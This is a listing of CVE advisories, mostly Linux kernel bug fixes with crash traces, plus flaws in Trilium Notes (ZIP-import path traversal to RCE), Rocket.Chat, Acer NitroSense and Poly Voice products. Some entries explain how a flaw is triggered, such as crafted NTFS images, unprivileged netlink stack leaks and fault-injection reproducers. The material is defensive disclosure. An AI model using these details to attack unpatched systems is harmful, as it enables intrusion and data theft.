CVE-2026-46071	In the Linux kernel, the following vulnerability has been resolved: KVM: nSVM: Avoid clearing VMCB_LBR in vmcb12 svm_copy_lbrs() always marks VMCB_LBR dirty in the destination VMCB. However, nested_svm_vmexit() uses it to copy LBRs to vmcb12, and clearing clean bits in vmcb12 is not architecturally defined. Move vmcb_mark_dirty() to callers and drop it for vmcb12. This also facilitates incoming refactoring that does not pass the entire VMCB to svm_copy_lbrs().	N/A	More Details
CVE-2026-46072	In the Linux kernel, the following vulnerability has been resolved: ntfs3: add buffer boundary checks to run_unpack() run_unpack() checks `run_buf < run_last` at the top of the while loop but then reads size_size and offset_size bytes via run_unpack_s64() without verifying they fit within the remaining buffer. A crafted NTFS image with truncated run data in an MFT attribute triggers an OOB heap read of up to 15 bytes when the filesystem is mounted. Add boundary checks before each run_unpack_s64() call to ensure the declared field size does not exceed the remaining buffer. Found by fuzzing with a source-patched harness (LibAFL + QEMU).	N/A	More Details
CVE-2026-46073	In the Linux kernel, the following vulnerability has been resolved: hwmon: (powerz) Fix missing usb_kill_urb() on signal interrupt wait_for_completion_interruptible_timeout() returns -ERESTARTSYS when interrupted. This needs to abort the URB and return an error. No data has been received from the device so any reads from the transfer buffer are invalid. The original code tests !ret, which only catches the timeout case (0). On signal delivery (-ERESTARTSYS), !ret is false so the function skips usb_kill_urb() and falls through to read from the unfilled transfer buffer. Fix by capturing the return value into a long (matching the function return type) and handling signal (negative) and timeout (zero) cases with separate checks that both call usb_kill_urb() before returning.	N/A	More Details
CVE-2026-46074	In the Linux kernel, the following vulnerability has been resolved: spi: ch341: fix memory leaks on probe failures Make sure to deregister the controller, disable pins, and kill and free the RX URB on probe failures to mirror disconnect and avoid memory leaks and use-after-free. Also add an explicit URB kill on disconnect for symmetry (even if that is not strictly required as USB core would have stopped it in the current setup).	N/A	More Details

CVE-2026-46075	In the Linux kernel, the following vulnerability has been resolved: crypto: atmel-sha204a - Fix potential UAF and memory leak in remove path Unregister the hwrng to prevent new ->read() calls and flush the Atmel I2C workqueue before teardown to prevent a potential UAF if a queued callback runs while the device is being removed. Drop the early return to ensure sysfs entries are removed and ->hwrng.priv is freed, preventing a memory leak.	N/A	More Details
CVE-2026-46077	In the Linux kernel, the following vulnerability has been resolved: crypto: atmel-tdes - fix DMA sync direction Before DMA output is consumed by the CPU, ->dma_addr_out must be synced with dma_sync_single_for_cpu() instead of dma_sync_single_for_device(). Using the wrong direction can return stale cache data on non-coherent platforms.	N/A	More Details
CVE-2026-46079	In the Linux kernel, the following vulnerability has been resolved: rbd: fix null-ptr-deref when device_add_disk() fails do_rbd_add() publishes the device with device_add() before calling device_add_disk(). If device_add_disk() fails after device_add() succeeds, the error path calls rbd_free_disk() directly and then later falls through to rbd_dev_device_release(), which calls rbd_free_disk() again. This double teardown can leave blk-mq cleanup operating on invalid state and trigger a null-ptr-deref in __blk_mq_free_map_and_rqs(), reached from blk_mq_free_tag_set(). Fix this by following the normal remove ordering: call device_del() before rbd_dev_device_release() when device_add_disk() fails after device_add(). That keeps the teardown sequence consistent and avoids re-entering disk cleanup through the wrong path. The bug was first flagged by an experimental analysis tool we are developing for kernel memory-management bugs while analyzing v6.13-rc1. The tool is still under development and is not yet publicly available. We reproduced the bug on v7.0 with a real Ceph backend and a QEMU x86_64 guest booted with KASAN and CONFIG_FAILSLAB enabled. The reproducer confines failslab injections to the __add_disk() range and injects fail-nth while mapping an RBD image through /sys/bus/rbd/add_single_major. On the unpatched kernel, fail-nth=4 reliably triggered the fault: Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] SMP KASAN NOPTI KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] CPU: 0 UID: 0 PID: 273 Comm: bash Not tainted 7.0.0-01247-gd60bc1401583 #6 PREEMPT(lazy) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.15.0-1 04/01/2014 RIP: 0010:__blk_mq_free_map_and_rqs+0x8c/0x240 Code: 00 00 48 8b 6b 60 41 89 f4 49 c1 e4 03 4c 01 e5 45 85 ed 0f 85 0a 01 00 00 48 b8 00 00 00 00 00 fc ff df 48 89 e9 48 c1 e9 03 <80> 3c 01 00 0f 85 31 01 00 00 4c 8b 6d 00 4d 85 ed 0f 84 e2 00 00 RSP: 0018:ff1100000ab0fac8 EFLAGS: 00000246 RAX: dffffc0000000000 RBX: ff1100000c4806a0 RCX: 0000000000000000 RDX: 0000000000000002 RSI: 0000000000000000 RDI: ff1100000c4806f4 RBP: 0000000000000000 R08: 0000000000000001 R09: ffe21c000189001b R10: ff1100000c4800df R11: ff1100006cf37be0 R12: 0000000000000000 R13: 0000000000000000 R14: ff1100000c480700 R15: ff1100000c480004 FS: 00007f0fbe8fe740(0000) GS:ff110000e5851000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007fe53473b2e0 CR3: 0000000012eef000 CR4: 00000000007516f0 PKRU: 55555554 Call Trace: <TASK> blk_mq_free_tag_set+0x77/0x460 do_rbd_add+0x1446/0x2b80 ? __pfx_do_rbd_add+0x10/0x10 ? lock_acquire+0x18c/0x300 ? find_held_lock+0x2b/0x80 ? sysfs_file_kobj+0xb6/0x1b0 ? __pfx_sysfs_kf_write+0x10/0x10 kernfs_fop_write_iter+0x2f4/0x4a0 vfs_write+0x98e/0x1000 ? expand_files+0x51f/0x850 ? __pfx_vfs_write+0x10/0x10 ksys_write+0xf2/0x1d0 ? __pfx_ksys_write+0x10/0x10 do_syscall_64+0x115/0x690 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f0fbea15907 Code: 10 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b7 0f 1f 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 51 c3 48 83 ec 28 48 89 54 24 18 48 89 74 24 RSP: 002b:00007ffe22346ea8 EFLAGS: 00000246 ORIG_RAX: 0000000000000001 RAX: ffffffffffffffda RBX: 0000000000000058 RCX: 00007f0fbea15907 RDX: 0000000000000058 RSI: 0000563ace6c0ef0 RDI: 0000000000000001 RBP: 0000563ace6c0ef0 R08: 0000563ace6c0ef0 R09: 6b6435726d694141 R10: 5250337279762f78 R11: 0000000000000246 R12: 0000000000000058 R13: 00007f0fbeb1c780 R14: ff1100000c480700 R15: ff1100000c480004 </TASK> With this fix applied, rerunning the reproducer over fail-nth=1..256 yields no KASAN reports. [idryomov: rename err_out_device_del -> err_out_device]	N/A	More Details
CVE-2026-46080	In the Linux kernel, the following vulnerability has been resolved: ocfs2: split transactions in dio completion to avoid credit exhaustion During ocfs2 dio operations, JBD2 may report warnings via following call trace: ocfs2_dio_end_io_write ocfs2_mark_extent_written ocfs2_change_extent_flag ocfs2_split_extent ocfs2_try_to_merge_extent ocfs2_extend_rotate_transaction ocfs2_extend_trans jbd2__journal_restart start_this_handle output: JBD2: kworker/6:2 wants too many credits credits:5450 rsv_credits:0 max:5449 To prevent exceeding the credits limit, modify ocfs2_dio_end_io_write() to handle extents in a batch of transaction. Additionally, relocate ocfs2_del_inode_from_orphan(). The orphan inode should only be removed from the orphan list after the extent tree update is complete. This ensures that if a crash occurs in the middle of extent tree updates, we won't leave stale blocks beyond EOF. This patch also changes the logic for updating the inode size and removing orphan, making it similar to ext4_dio_write_end_io(). Both operations are performed only when everything looks good. Finally, thanks to Jans and Joseph for providing the bug fix prototype and suggestions.	N/A	More Details
CVE-2026-46082	In the Linux kernel, the following vulnerability has been resolved: KVM: SVM: Inject #UD for INVLPGA if EFER.SVME=0 INVLPGA should cause a #UD when EFER.SVME is not set. Add a check to properly inject #UD when EFER.SVME=0. [sean: tag for stable@]	N/A	More Details
CVE-2026-	In the Linux kernel, the following vulnerability has been resolved: spi: fix resource leaks on device setup failure Make sure to call controller cleanup() if spi_setup() fails while registering a device to avoid leaking any	N/A	More

46083	resources allocated by setup().		Details
CVE-2026-45668	Trilium Notes is a cross-platform, hierarchical note taking application focused on building large personal knowledge bases. Prior to 0.102.2, a malicious ZIP archive imported with safe import enabled achieves RCE via #docName path traversal and XSS by combining a payload note (type: code, mime: text/plain) containing raw HTML/JS and a trigger note (type: doc or type: launcher) with a #docName label that uses ../ path traversal to point at the payload note's API endpoint. The desktop client Electron renderer runs with nodeIntegration enabled, so an RCE is triggered once the payload is executed. This vulnerability is fixed in 0.102.2.	N/A	More Details
CVE-2026-46084	In the Linux kernel, the following vulnerability has been resolved: RDMA/mana_ib: Disable RX steering on RSS QP destroy When an RSS QP is destroyed (e.g. DPDK exit), mana_ib_destroy_qp_rss() destroys the RX WQ objects but does not disable vPort RX steering in firmware. This leaves stale steering configuration that still points to the destroyed RX objects. If traffic continues to arrive (e.g. peer VM is still transmitting) and the VF interface is subsequently brought up (mana_open), the firmware may deliver completions using stale CQ IDs from the old RX objects. These CQ IDs can be reused by the ethernet driver for new TX CQs, causing RX completions to land on TX CQs: WARNING: mana_poll_tx_cq+0x1b8/0x220 [mana] (is_sq == false) WARNING: mana_gd_process_eq_events+0x209/0x290 (cq_table lookup fails) Fix this by disabling vPort RX steering before destroying RX WQ objects. Note that mana_fence_rqs() cannot be used here because the fence completion is delivered on the CQ, which is polled by user-mode (e.g. DPDK) and not visible to the kernel driver. Refactor the disable logic into a shared mana_disable_vport_rx() in mana_en, exported for use by mana_ib, replacing the duplicate code. The ethernet driver's mana_dealloc_queues() is also updated to call this common function.	N/A	More Details
CVE-2026-32995	The Rocket.Chat DDP method autoTranslate.translateMessage in versions <8.5.0, <8.4.2, <8.3.4, <8.2.4, <8.1.5, <8.0.5, <7.13.8, and <7.10.12 accepts a client-supplied IMessage object and passes it directly to translateMessage() without checking Meteor.userId() or verifying room membership. Any authenticated DDP user can read the content of any message by ID from any room (private channels, DMs, E2EE rooms) by calling this method.	N/A	More Details
CVE-2026-46086	In the Linux kernel, the following vulnerability has been resolved: net: bridge: use a stable FDB dst snapshot in RCU readers Local FDB entries can be rewritten in place by `fdb_delete_local()`, which updates `f->dst` to another port or to `NULL` while keeping the entry alive. Several bridge RCU readers inspect `f->dst`, including `br_fdb_fillbuf()` through the `brforward_read()` sysfs path. These readers currently load `f->dst` multiple times and can therefore observe inconsistent values across the check and later dereference. In `br_fdb_fillbuf()`, this means a concurrent local-FDB update can change `f->dst` after the NULL check and before the `port_no` dereference, leading to a NULL-ptr-deref. Fix this by taking a single `READ_ONCE()` snapshot of `f->dst` in each affected RCU reader and using that snapshot for the rest of the access sequence. Also publish the in-place `f->dst` updates in `fdb_delete_local()` with `WRITE_ONCE()` so the readers and writer use matching access patterns.	N/A	More Details
CVE-2026-9789	A Local Privilege Escalation (LPE) vulnerability affects Acer NitroSense software versions prior to 3.01.3052. The vulnerability stems from the the PSAdminAgent service, which creates a Named Pipe with a weak Access Control List (ACL). This allows any authenticated local user to connect and send commands. Because the service does not check the caller's privileges before running file deletion commands, a low-privileged local user can exploit this to delete arbitrary files with system authority.	N/A	More Details
CVE-2026-46087	In the Linux kernel, the following vulnerability has been resolved: mm/damon/stat: fix memory leak on damon_start() failure in damon_stat_start() Destroy the DAMON context and reset the global pointer when damon_start() fails. Otherwise, the context allocated by damon_stat_build_ctx() is leaked, and the stale damon_stat_context pointer will be overwritten on the next enable attempt, making the old allocation permanently unreachable.	N/A	More Details
CVE-2026-46088	In the Linux kernel, the following vulnerability has been resolved: ALSA: control: Validate buf_len before strnlen() in snd_ctl_elem_init_enum_names() snd_ctl_elem_init_enum_names() advances pointer p through the names buffer while decrementing buf_len. If buf_len reaches zero but items remain, the next iteration calls strnlen(p, 0). While strnlen(p, 0) returns 0 and would hit the existing name_len == 0 error path, CONFIG_FORTIFY_SOURCE's fortified strnlen() first checks maxlen against __builtin_dynamic_object_size(). When Clang loses track of p's object size inside the loop, this triggers a BRK exception panic before the return value is examined. Add a buf_len == 0 guard at the loop entry to prevent calling fortified strnlen() on an exhausted buffer. Found by kernel fuzz testing through Xiaomi Smartphone.	N/A	More Details
CVE-2026-9739	Vulnerable to DNS rebinding attacks when using SSE (http://b/499408790). During the beta phase, we implemented `allowed-origins` and `allowed-hosts` flags to align with MCP security guidelines. However, the hardcoded `Access-Control-Allow-Origin: *` header in the SSE initialization handler was inadvertently retained. This vulnerability specifically impacts users connecting via Toolbox using SSE under specification v2024-11-05.	N/A	More Details
CVE-	In the Linux kernel, the following vulnerability has been resolved: zram: do not forget to endio for partial discard requests As reported by Qu Wenruo and Avinesh Kumar, the following getconf PAGESIZE 65536 blkdiscard -p 4k /dev/zram0 takes literally forever to complete. zram doesn't support partial discards and just		More

2026-46089	returns immediately w/o doing any discard work in such cases. The problem is that we forget to endio on our way out, so blkdiscard sleeps forever in submit_bio_wait(). Fix this by jumping to end_bio label, which does bio_endio().	N/A	Details
CVE-2026-46091	In the Linux kernel, the following vulnerability has been resolved: media: rc: igorplugusb: heed coherency rules In a control request, the USB request structure can be subject to DMA on some HCs. Hence it must obey the rules for DMA coherency. Allocate it separately.	N/A	More Details
CVE-2026-46128	In the Linux kernel, the following vulnerability has been resolved: ipmi: Check event message buffer response for bad data The event message buffer response data size got checked later when processing, but check it right after the response comes back. It appears some BMCs may return an empty message instead of an error when fetching events. There are apparently some new BMCs that make this error, so we need to compensate.	N/A	More Details
CVE-2026-46131	In the Linux kernel, the following vulnerability has been resolved: KVM: x86: check for nEPT/nNPT in slow flush hypercalls Checking is_guest_mode(vcpu) is incorrect, because translate_nested_gpa() is only valid if an L2 guest is running *with nested EPT/NPT enabled*. Instead use the same condition as translate_nested_gpa() itself.	N/A	More Details
CVE-2026-45936	In the Linux kernel, the following vulnerability has been resolved: power: supply: goldfish: Fix use-after-free in power_supply_changed() Using the `devm_` variant for requesting IRQ _before_ the `devm_` variant for allocating/registering the `power_supply` handle, means that the `power_supply` handle will be deallocated/unregistered _before_ the interrupt handler (since `devm_` naturally deallocates in reverse allocation order). This means that during removal, there is a race condition where an interrupt can fire just _after_ the `power_supply` handle has been freed, *but* just _before_ the corresponding unregistration of the IRQ handler has run. This will lead to the IRQ handler calling `power_supply_changed()` with a freed `power_supply` handle. Which usually crashes the system or otherwise silently corrupts the memory... Note that there is a similar situation which can also happen during `probe()`; the possibility of an interrupt firing _before_ registering the `power_supply` handle. This would then lead to the nasty situation of using the `power_supply` handle *uninitialized* in `power_supply_changed()`. Fix this racy use-after-free by making sure the IRQ is requested _after_ the registration of the `power_supply` handle.	N/A	More Details
CVE-2026-45966	In the Linux kernel, the following vulnerability has been resolved: apparmor: fix NULL pointer dereference in __unix_needs_revalidation When receiving file descriptors via SCM_RIGHTS, both the socket pointer and the socket's sk pointer can be NULL during socket setup or teardown, causing NULL pointer dereferences in __unix_needs_revalidation(). This is a regression in AppArmor 5.0.0 (kernel 6.17+) where the new __unix_needs_revalidation() function was added without proper NULL checks. The crash manifests as: BUG: kernel NULL pointer dereference, address: 0x0000000000000018 RIP: aa_file_perm+0xb7/0x3b0 (or +0xbe/0x3b0, +0xc0/0x3e0) Call Trace: apparmor_file_receive+0x42/0x80 security_file_receive+0x2e/0x50 receive_fd+0x1d/0xf0 scm_detach_fds+0xad/0x1c0 The function dereferences sock->sk->sk_family without checking if either sock or sock->sk is NULL first. Add NULL checks for both sock and sock->sk before accessing sk_family.	N/A	More Details
CVE-2026-45962	In the Linux kernel, the following vulnerability has been resolved: ublk: Validate SQE128 flag before accessing the cmd ublk_ctrl_cmd_dump() accesses (header *)sqe->cmd before IO_URING_F_SQE128 flag check. This could cause out of boundary memory access. Move the SQE128 flag check earlier in ublk_ctrl_uring_cmd() to return -EINVAL immediately if the flag is not set.	N/A	More Details
CVE-2026-45963	In the Linux kernel, the following vulnerability has been resolved: ASoC: nau8821: Cancel delayed work on component remove Attempting to unload the driver while a jack detection work is pending would likely crash the kernel when it is eventually scheduled for execution: [1984.896308] BUG: unable to handle page fault for address: ffffffffc10c2a20 [...] [1984.896388] Hardware name: Valve Jupiter/Jupiter, BIOS F7A0131 01/30/2024 [1984.896396] Workqueue: events nau8821_jdet_work [snd_soc_nau8821] [1984.896414] RIP: 0010:__mutex_lock+0x9f/0x11d0 [...] [1984.896504] Call Trace: [1984.896511] <TASK> [1984.896524] ? snd_soc_dapm_disable_pin+0x26/0x60 [snd_soc_core] [1984.896572] ? snd_soc_dapm_disable_pin+0x26/0x60 [snd_soc_core] [1984.896596] snd_soc_dapm_disable_pin+0x26/0x60 [snd_soc_core] [1984.896622] nau8821_jdet_work+0xeb/0x1e0 [snd_soc_nau8821] [1984.896636] process_one_work+0x211/0x590 [1984.896649] ? srso_return_thunk+0x5/0x5f [1984.896670] worker_thread+0x1cd/0x3a0 Cancel unscheduled jdet_work or wait for its execution to finish before the component driver gets removed.	N/A	More Details
CVE-2026-45964	In the Linux kernel, the following vulnerability has been resolved: SUNRPC: fix gss_auth kref leak in gss_alloc_msg error path Commit 5940d1cf9f42 ("SUNRPC: Rebalance a kref in auth_gss.c") added a kref_get(&gss_auth->kref) call to balance the gss_put_auth() done in gss_release_msg(), but forgot to add a corresponding kref_put() on the error path when kstrdup_const() fails. If service_name is non-NULL and kstrdup_const() fails, the function jumps to err_put_pipe_version which calls put_pipe_version() and kfree(gss_msg), but never releases the gss_auth reference. This leads to a kref leak where the gss_auth structure is never freed. Add a forward declaration for gss_free_callback() and call kref_put() in the err_put_pipe_version error path to properly release the reference taken earlier.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: apparmor: fix invalid deref of rawdata when		

CVE-2026-45965	export_binary is unset If the export_binary parameter is disabled on runtime, profiles that were loaded before that will still have their rawdata stored in apparmorfs, with a symbolic link to the rawdata on the policy directory. When one of those profiles are replaced, the rawdata is set to NULL, but when trying to resolve the symbolic links to rawdata for that profile, it will try to dereference profile->rawdata->name when profile->rawdata is now NULL causing an oops. Fix it by checking if rawdata is set. [168.653080] BUG: kernel NULL pointer dereference, address: 0000000000000088 [168.657420] #PF: supervisor read access in kernel mode [168.660619] #PF: error_code(0x0000) - not-present page [168.663613] PGD 0 P4D 0 [168.665450] Oops: Oops: 0000 [#1] SMP NOPTI [168.667836] CPU: 1 UID: 0 PID: 1729 Comm: ls Not tainted 6.19.0-rc7+ #3 PREEMPT(voluntary) [168.672308] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [168.679327] RIP: 0010:rawdata_get_link_base.isra.0+0x23/0x330 [168.682768] Code: 90 90 90 90 90 90 90 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 53 48 83 ec 18 48 89 55 d0 48 85 ff 0f 84 e3 01 00 00 <48> 83 3c 25 88 00 00 00 00 0f 84 d4 01 00 00 49 89 f6 49 89 cc e8 [168.689818] RSP: 0018:ffffcdcb8200fb80 EFLAGS: 00010282 [168.690871] RAX: ffffffffaee74ec0 RBX: 0000000000000000 RCX: ffffffffb0120158 [168.692251] RDX: ffffcdcb8200fbe0 RSI: ffff88c187c9fa80 RDI: ffff88c186c98a80 [168.693593] RBP: ffffcdcb8200fbc0 R08: 0000000000000000 R09: 0000000000000000 [168.694941] R10: 0000000000000000 R11: 0000000000000000 R12: ffff88c186c98a80 [168.696289] R13: 00007fff005aaa20 R14: 0000000000000080 R15: ffff88c188f4fce0 [168.697637] FS: 0000790e81c58280(0000) GS:ffff88c20a957000(0000) knlGS:0000000000000000 [168.699227] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [168.700349] CR2: 0000000000000088 CR3: 000000012fd3e000 CR4: 0000000000350ef0 [168.701696] Call Trace: [168.702325] <TASK> [168.702995] rawdata_get_link_data+0x1c/0x30 [168.704145] vfs_readlink+0xd4/0x160 [168.705152] do_readlinkat+0x114/0x180 [168.706214] __x64_sys_readlink+0x1e/0x30 [168.708653] x64_sys_call+0x1d77/0x26b0 [168.709525] do_syscall_64+0x81/0x500 [168.710348] ? do_statx+0x72/0xb0 [168.711109] ? putname+0x3e/0x80 [168.711845] ? __x64_sys_statx+0xb7/0x100 [168.712711] ? x64_sys_call+0x10fc/0x26b0 [168.713577] ? do_syscall_64+0xbf/0x500 [168.714412] ? do_user_addr_fault+0x1d2/0x8d0 [168.715404] ? irqentry_exit+0xb2/0x740 [168.716359] ? exc_page_fault+0x90/0x1b0 [168.717307] entry_SYSCALL_64_after_hwframe+0x76/0x7e	N/A	More Details
CVE-2026-0826	In certain scenarios when the admin has enabled Interactive Connectivity Establishment (ICE), a buffer overflow could enable remote code execution on Poly Voice products on the Linux platform.	N/A	More Details
CVE-2026-46168	In the Linux kernel, the following vulnerability has been resolved: mptcp: fix scheduling with atomic in timestamp sockopt Using lock_sock_fast() (atomic context) around sock_set_timestamp() and sock_set_timestamping() is unsafe, as both helpers can sleep. Replace lock_sock_fast() with sleepable lock_sock()/release_sock() to avoid scheduling while atomic panic.	N/A	More Details
CVE-2026-46167	In the Linux kernel, the following vulnerability has been resolved: usb: usblp: fix uninitialized heap leak via LPGETSTATUS ioctl Just like in a previous problem in this driver, usblp_ctrl_msg() will collapse the usb_control_msg() return value to 0/-errno, discarding the actual number of bytes transferred. Ideally that short command should be detected and error out, but many printers are known to send "incorrect" responses back so we can't just do that. statusbuf is kmalloc(8) at probe time and never filled before the first LPGETSTATUS ioctl. usblp_read_status() requests 1 byte. If a malicious printer responds with zero bytes, *statusbuf is one byte of stale kmalloc heap, sign-extended into the local int status, which the LPGETSTATUS path then copy_to_user()s directly to the ioctl caller. Fix this all by just zapping out the memory buffer when allocated at probe time. If a later call does a short read, the data will be identical to what the device sent it the last time, so there is no "leak" of information happening.	N/A	More Details
CVE-2026-46165	In the Linux kernel, the following vulnerability has been resolved: openvswitch: vport: fix self-deadlock on release of tunnel ports vports are used concurrently and protected by RCU, so netdev_put() must happen after the RCU grace period. So, either in an RCU call or after the synchronize_net(). The rtnl_delete_link() must happen under RTNL and so can't be executed in RCU context. Calling synchronize_net() while holding RTNL is not a good idea for performance and system stability under load in general, so calling netdev_put() in RCU call is the right solution here. However, when the device is deleted, rtnl_unlock() will call netdev_run_todo() and block until all the references are gone. In the current code this means that we never reach the call_rcu() and the vport is never freed and the reference is never released, causing a self-deadlock on device removal. Fix that by moving the rcu_call() before the rtnl_unlock(), so the scheduled RCU callback will be executed when synchronize_net() is called from the rtnl_unlock()->netdev_run_todo() while the RTNL itself is already released.	N/A	More Details
CVE-2026-46163	In the Linux kernel, the following vulnerability has been resolved: wifi: b43legacy: enforce bounds check on firmware key index in RX path Same fix as b43: the firmware-controlled key index in b43legacy_rx() can exceed dev->max_nr_keys. The existing B43legacy_WARN_ON is non-enforcing in production builds, allowing an out-of-bounds read of dev->key[]. Make the check enforcing by dropping the frame for invalid indices.	N/A	More Details
CVE-2026-46162	In the Linux kernel, the following vulnerability has been resolved: ice: fix double free in ice_sf_eth_activate() error path When auxiliary_device_add() fails, ice_sf_eth_activate() jumps to aux_dev_uninit and calls auxiliary_device_uninit(&sf_dev->adev). The device release callback ice_sf_dev_release() frees sf_dev, but the current error path falls through to sf_dev_free and calls kfree(sf_dev) again, causing a double free. Keep kfree(sf_dev) for the auxiliary_device_init() failure path, but avoid falling through to sf_dev_free after auxiliary_device_uninit().	N/A	More Details

CVE-2026-46161	In the Linux kernel, the following vulnerability has been resolved: md/raid10: fix divide-by-zero in setup_geo() with zero far_copies setup_geo() extracts near_copies (nc) and far_copies (fc) from the user-provided layout parameter without checking for zero. When fc=0 with the "improved" far set layout selected, 'geo->far_set_size = disks / fc' triggers a divide-by-zero. Validate nc and fc immediately after extraction, returning -1 if either is zero.	N/A	More Details
CVE-2026-46160	In the Linux kernel, the following vulnerability has been resolved: btrfs: fix missing last_unlink_trans update when removing a directory When removing a directory we are not updating its last_unlink_trans field, which can result in incorrect fsync behaviour in case some one fsyncs the directory after it was removed because it's holding a file descriptor on it. Example scenario: mkdir /mnt/dir1 mkdir /mnt/dir1/dir2 mkdir /mnt/dir3 sync -f /mnt # Do some change to the directory and fsync it. chmod 700 /mnt/dir1 xfs_io -c fsync /mnt/dir1 # Move dir2 out of dir1 so that dir1 becomes empty. mv /mnt/dir1/dir2 /mnt/dir3/ open fd on /mnt/dir1 call rmdir(2) on path "/mnt/dir1" fsync fd <trigger power failure> When attempting to mount the filesystem, the log replay will fail with an -EIO error and dmesg/syslog has the following: [445771.626482] BTRFS info (device dm-0): first mount of filesystem 0368bbea-6c5e-44b5-b409-09abe496e650 [445771.626486] BTRFS info (device dm-0): using crc32c checksum algorithm [445771.627912] BTRFS info (device dm-0): start tree-log replay [445771.628335] page: refcount:2 mapcount:0 mapping:0000000061443ddc index:0x1d00 pfn:0x7072a5 [445771.629453] memcg:ffff89f400351b00 [445771.629892] aops:btree_aops [btrfs] ino:1 [445771.630737] flags: 0x17fffc00000402a(uptodate|lru|private|writeback|node=0|zone=2|lastcpupid=0x1ffff) [445771.632359] raw: 017fffc00000402a fffff47284d950c8 fffff472907b7c08 ffff89f458e412b8 [445771.633713] raw: 0000000000001d00 ffff89f6c51d1a90 00000002ffffffff ffff89f400351b00 [445771.635029] page dumped because: eb page dump [445771.635825] BTRFS critical (device dm-0): corrupt leaf: root=5 block=30408704 slot=10 ino=258, invalid nlink: has 2 expect no more than 1 for dir [445771.638088] BTRFS info (device dm-0): leaf 30408704 gen 10 total ptrs 17 free space 14878 owner 5 [445771.638091] BTRFS info (device dm-0): refs 4 lock_owner 0 current 3581087 [445771.638094] item 0 key (256 INODE_ITEM 0) itemoff 16123 itemsize 160 [445771.638097] inode generation 3 transid 9 size 16 nbytes 16384 [445771.638098] block group 0 mode 40755 links 1 uid 0 gid 0 [445771.638100] rdev 0 sequence 2 flags 0x0 [445771.638102] atime 1775744884.0 [445771.660056] ctime 1775744885.645502983 [445771.660058] mtime 1775744885.645502983 [445771.660060] otime 1775744884.0 [445771.660062] item 1 key (256 INODE_REF 256) itemoff 16111 itemsize 12 [445771.660064] index 0 name_len 2 [445771.660066] item 2 key (256 DIR_ITEM 1843588421) itemoff 16077 itemsize 34 [445771.660068] location key (259 1 0) type 2 [445771.660070] transid 9 data_len 0 name_len 4 [445771.660075] item 3 key (256 DIR_ITEM 2363071922) itemoff 16043 itemsize 34 [445771.660076] location key (257 1 0) type 2 [445771.660077] transid 9 data_len 0 name_len 4 [445771.660078] item 4 key (256 DIR_INDEX 2) itemoff 16009 itemsize 34 [445771.660079] location key (257 1 0) type 2 [445771.660080] transid 9 data_len 0 name_len 4 [445771.660081] item 5 key (256 DIR_INDEX 3) itemoff 15975 itemsize 34 [445771.660082] location key (259 1 0) type 2 [445771.660083] transid 9 data_len 0 name_len 4 [445771.660084] item 6 key (257 INODE_ITEM 0) itemoff 15815 itemsize 160 [445771.660086] inode generation 9 transid 9 size 8 nbytes 0 [445771.660087] block group 0 mode 40777 links 1 uid 0 gid 0 [445771.660088] rdev 0 sequence 2 flags 0x0 [445771.660089] atime 1775744885.641174097 [445771.660090] ctime 1775744885.645502983 [445771.660091] mtime 1775744885.645502983 [445771.660105] otime 1775744885.641174097 [445771.660106] item 7 key (257 INODE_REF 256) itemoff 15801 itemsize 14 [445771.660107] index 2 name_len 4 [445771.660108] item 8 key (257 DIR_ITEM 2676584006) itemoff 15767 itemsize 34 [445771.660109] location key (2 ---truncated---	N/A	More Details
CVE-2026-46132	In the Linux kernel, the following vulnerability has been resolved: net: rtnetlink: zero ifla_vf_broadcast to avoid stack infoleak in rtnl_fill_vfinfo rtnl_fill_vfinfo() declares struct ifla_vf_broadcast on the stack without initialisation: struct ifla_vf_broadcast vf_broadcast; The struct contains a single fixed 32-byte field: /* include/uapi/linux/if_link.h */ struct ifla_vf_broadcast { __u8 broadcast[32]; }; The function then copies dev->broadcast into it using dev->addr_len as the length: memcpy(vf_broadcast.broadcast, dev->broadcast, dev->addr_len); On Ethernet devices (the overwhelming majority of SR-IOV NICs) dev->addr_len is 6, so only the first 6 bytes of broadcast[] are written. The remaining 26 bytes retain whatever was previously on the kernel stack. The full struct is then handed to userspace via: nla_put(skb, IFLA_VF_BROADCAST, sizeof(vf_broadcast), &vf_broadcast) leaking up to 26 bytes of uninitialised kernel stack per VF per RTM_GETLINK request, repeatable. The other vf_* structs in the same function are explicitly zeroed for exactly this reason - see the memset() calls for ivi, vf_vlan_info, node_guid and port_guid a few lines above. vf_broadcast was simply missed when it was added. Reachability: any unprivileged local process can open AF_NETLINK / NETLINK_ROUTE without capabilities and send RTM_GETLINK with an IFLA_EXT_MASK attribute carrying RTEXT_FILTER_VF. The kernel walks each VF and emits IFLA_VF_BROADCAST, leaking 26 bytes of stack per VF per request. Stack residue at this call site can include return addresses and transient sensitive data; KASAN with stack instrumentation, or KMSAN, will flag the nla_put() when reproduced. Zero the on-stack struct before the partial memcpy, matching the existing pattern used for the other vf_* structs in the same function.	N/A	More Details
CVE-2026-	In the Linux kernel, the following vulnerability has been resolved: btrfs: fix btrfs_ioctl_space_info() slot_count TOCTOU which can lead to info-leak btrfs_ioctl_space_info() has a TOCTOU race between two passes over the block group RAID type lists. The first pass counts entries to determine the allocation size, then the second pass fills the buffer. The groups_sem rwlock is released between passes, allowing concurrent block group	N/A	More

46159	removal to reduce the entry count. When the second pass fills fewer entries than the first pass counted, copy_to_user() copies the full alloc_size bytes including trailing uninitialized kmalloc bytes to userspace. Fix by copying only total_spaces entries (the actually-filled count from the second pass) instead of alloc_size bytes, and switch to kzalloc so any future copy size mismatch cannot leak heap data.		Details
